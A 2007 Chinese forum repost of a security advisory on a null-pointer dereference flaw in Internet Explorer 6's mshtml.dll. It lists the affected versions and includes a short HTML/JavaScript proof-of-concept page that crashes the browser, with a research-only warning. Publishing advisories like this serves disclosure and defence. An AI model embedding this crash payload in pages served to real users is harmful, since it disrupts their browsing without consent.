‹‹ 上一主题 | 下一主题 ››
发新话题
打印

[转贴]Microsoft IE mshtml.dll畸形HTML空指针引用漏洞

knight

晶莹剔透§烈日灼然

Rank: 1

帖子
224 
精华
2 
积分
725 
阅读权限
50 
性别
男 
来自
桂林电子科技大学 
在线时间
121 小时 
注册时间
2005-8-9 
最后登录
2007-5-16 
楼主 大 中 小 发表于 2007-3-16 01:45  只看该作者

[转贴]Microsoft IE mshtml.dll畸形HTML空指针引用漏洞

信息来源:绿盟科技


Microsoft IE mshtml.dll畸形HTML空指针引用漏洞

发布日期：2007-02-06
更新日期：2007-02-07

受影响系统：
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 22408

Internet Explorer是微软发表的非常流行的WEB浏览器。

Internet Explorer的mshtml.dll库没有正确的处理畸形的HTML页面，远程攻击者可能利用此漏洞导致用户IE浏览器崩溃。

如果用户受骗打开了恶意页面的话，就可能出现空指针引用，导致浏览器崩溃。

<*来源：AmesianX （amesianx@gmail.com）

链接：http://www.milw0rm.com/exploits/3272
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<html>
<head>
<title> AmesianX, RC_No1 in powerhacker.net (amesianx@gmail.com, RC_No1@gmail.com)</title>
</head>
<body>
<script language=&#39;javascript&#39;>
var data = document[&#39;getElementById&#39;];
for(var key in data);
</script>
</body>
</html>

建议：
--------------------------------------------------------------------------------
厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.microsoft.com/windows/ie/default.asp

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题